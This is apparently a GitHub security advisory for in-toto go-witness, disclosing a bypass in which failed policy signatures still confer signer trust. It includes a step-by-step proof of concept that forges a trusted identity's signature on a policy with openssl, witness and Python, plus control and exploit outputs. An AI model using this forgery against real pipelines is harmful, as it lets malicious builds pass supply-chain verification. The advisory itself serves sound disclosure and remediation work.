Skip to main content
Menu
Advisories

Policy-signature verification accepts certificates whose signature failed, allowing forged-policy trust

GHSA-2V4R-XHMM-GHV8Published Updated GitHub

Description

A signature-verification bypass lets any party who can obtain a certificate under the trusted root forge a policy that the verifier accepts as signed by a trusted identity. The policy-signature check confers signer trust on a certificate that merely chains to a trusted root and matches the configured identity constraints, even when that certificate's signature over the policy never verified. With Sigstore keyless signing, obtaining such a certificate is common (any accepted OIDC identity), and the impersonated identity's certificate is public, so this is an unauthenticated forgery of the policy.

Impact

Cryptographic signature-verification bypass / trust-root forgery on a critical gate in the system: the policy itself. The policy dictates which steps, functionaries, and attestations are required, so a forged policy defeats the supply-chain verification: a malicious build can be made to pass witness verify.

Real-world exploitation conditions. This is exploitable in deployments that:

  1. trust policies via X509 / keyless (Fulcio) identity constraints (the keyless path). The pinned-public-key functionary path is not affected: there, trust is a specific key and a real signature from it is still required, so there is nothing to forge.
  2. obtain the signed policy over a channel an attacker can influence (an OCI registry or Archivista instance the attacker can write to, a repo or fetch path they can tamper, an on-path position). Policy signing is precisely the mechanism meant to make such a channel safe; this defect removes that protection.

When both hold, the attacker needs no secret from the victim: the impersonated identity's certificate is public and harvestable from the Certificate Transparency log / Rekor, and the threshold-meeting valid signature only requires any certificate under the trusted root, which in keyless deployments means self-enrolling with any accepted OIDC identity. The result is an effectively unauthenticated forge-and-substitute of the policy, causing a consuming pipeline to potentially accept a malicious artifact.

Details

VerifyPolicySignature (internal/policy/policy.go:102-160) ranges over every CheckedVerifier returned by envelope.Verify (line 109) and never inspects verifier.Error:

passedPolicyVerifiers, err := envelope.Verify(...)         // line 103
...
for _, verifier := range passedPolicyVerifiers {           // line 109
    ...
    err = f.Validate(verifier.Verifier, trustBundle)       // line 147: checks identity, NOT signature
    if err != nil { ... continue }
    passed = true                                          // line 152
}

envelope.Verify (dsse/verify.go:75-190) returns the full set of attempted verifiers, including ones whose signature did not verify (appended with Error set at dsse/verify.go:118 and :177), as long as at least one signature meets the threshold (verified >= threshold, default 1, returned at :185-189).

For an X509 / keyless functionary, Functionary.Validate (policy/step.go:114-138) only checks that the certificate chains to a trusted root and matches the identity constraints (CommonName/SAN/etc.); it never re-checks the signature over the payload. Therefore a certificate that chains to a trusted root and matches the trusted identity confers policy-signing trust even though its signature is forged.

The sibling collection-verification path already does the right thing and filters failed verifiers (source/verified.go:65-70, skipping any verifier with Error != nil). The policy-signature path never reused that filter.

Proof of Concept

Two reproductions are given: (1) a confirmation against the live public-good Sigstore/Fulcio with real keyless certificates, and (2) a fully self-contained version using a locally generated root (no external infrastructure).

(1) Live Sigstore / Fulcio confirmation

Verified 2026-06-14 against the public-good Fulcio root (O=sigstore.dev, CN=sigstore, fetched from https://fulcio.sigstore.dev/api/v1/rootCert) plus its intermediate, using two real GitHub Actions keyless certificates (OIDC issuer https://token.actions.githubusercontent.com):

  • attacker (the only genuine signature), SAN URI https://github.com/fauxkautz/cogsmith/.github/workflows/sign.yml@refs/heads/main
  • trusted identity (certificate attached with forged signature bytes; this identity never signed), SAN URI https://github.com/fkautz/cogsmith/.github/workflows/sign.yml@refs/heads/main

Each identity keyless-signs a step-less policy via witness sign --signer-fulcio-* from a GitHub Actions workflow (permissions: id-token: write). The attacker's valid envelope is kept; a second signature is appended carrying the trusted identity's certificate with garbage signature bytes. witness verify is then run trusting only the trusted identity's URI:

witness verify -p <policy> \
  --policy-ca-roots fulcio-root.pem --policy-ca-intermediates fulcio-intermediate.pem \
  --policy-uris 'https://github.com/fkautz/cogsmith/.github/workflows/sign.yml@refs/heads/main' \
  -f artifact.txt -a att.json

Observed (only difference between runs is the one appended certificate):

CONTROL  (attacker-only signature; policy trusts the other identity):
  failed to verify policy signature: no policy verifiers passed verification    exit 1   (rejected)
EXPLOIT  (attacker valid sig + trusted identity's cert with garbage bytes):
  policy signature verified
  Verification succeeded                                                         exit 0   (ACCEPTED)

Against the real Fulcio root, the trusted identity's certificate conferred policy-signing trust even though its signature over the policy never verified, so witness verify accepted a policy that identity never signed.

(2) Self-contained reproduction (no external infrastructure)

# BUILD the witness CLI (needs Go; this PoC also needs openssl + python3):
#   git clone https://github.com/in-toto/witness && cd witness && git checkout v0.11.0 \
#     && go build -o /tmp/witness . && cd - && export PATH=/tmp:$PATH
#   (witness v0.11.0 builds against go-witness v0.10.0, the version it ships.)
# Then run the rest in an empty working directory.

# 1) Root CA, attacker leaf (+ key), victim leaf (public cert only). All chain to the root.
openssl req -x509 -newkey rsa:2048 -nodes -keyout root.key -out root.crt -days 1 \
  -subj "/CN=Test Root" -addext "basicConstraints=critical,CA:TRUE,pathlen:1" \
  -addext "keyUsage=critical,keyCertSign,cRLSign"
mkleaf(){ openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$1.key"
  openssl req -new -key "$1.key" -subj "/CN=$2" -out "$1.csr"
  openssl x509 -req -in "$1.csr" -CA root.crt -CAkey root.key -CAcreateserial -out "$1.crt" -days 1 \
    -extfile <(printf "keyUsage=critical,digitalSignature\nbasicConstraints=CA:FALSE"); }
mkleaf attacker "attacker-ci@evil.example"      # attacker's self-enrolled identity (has the key)
mkleaf victim   "release-signer@trusted.example" # high-trust identity (attacker has only the cert)

# 2) Malicious policy. Step-less so a passed signature gate yields a clean exit 0; the C-specific
#    signal is the gate accepting a policy the trusted identity never signed.
printf '{ "expires":"2035-12-17T23:57:40-05:00", "steps":{} }\n' > policy.json

# 3) Attacker signs the policy with their OWN key+cert: a valid signature that meets the threshold.
witness sign -f policy.json -k attacker.key --signer-file-cert-path attacker.crt -o policy.attacker.json

# 4) Forge: append a second signature carrying the victim cert with bytes the victim never produced.
python3 - <<'PY'
import json,base64
e=json.load(open("policy.attacker.json"))
e["signatures"].append({"keyid":"",
  "sig":base64.b64encode(b"this-signature-was-never-produced-by-the-victim").decode(),
  "certificate":base64.b64encode(open("victim.crt","rb").read()).decode()})
json.dump(e,open("policy.forged.json","w"))
PY

# 5) A dummy attestation just to satisfy the CLI's "need an attestation source" requirement.
openssl genpkey -algorithm ed25519 -out fk.key
witness run --step build -a environment -k fk.key -o att.json -- /bin/echo hi
echo hello > artifact.txt

# 6a) CONTROL: attacker-only signature, trust ONLY release-signer.
witness verify -p policy.attacker.json --policy-ca-roots root.crt \
  --policy-commonname release-signer@trusted.example -f artifact.txt -a att.json
#   -> level=error "... failed to verify policy signature: no policy verifiers passed verification"
#   -> exit 1   (correctly REJECTED: the only real signer, attacker, is not the trusted identity)

# 6b) EXPLOIT: same policy + forged release-signer cert, same trust.
witness verify -p policy.forged.json --policy-ca-roots root.crt \
  --policy-commonname release-signer@trusted.example -f artifact.txt -a att.json
#   -> level=info "policy signature verified"
#   -> level=info "Verification succeeded"
#   -> exit 0   (ACCEPTED: the forged release-signer cert conferred trust == vulnerability)

The only difference between the two runs is the single appended signature carrying a certificate the attacker cannot sign for.

Suggested fix

Skip any CheckedVerifier whose Error != nil before deriving a functionary from it, mirroring the existing collection-verification path at source/verified.go:65-70.

Affected versions

References

GitHub · in-toto/go-witness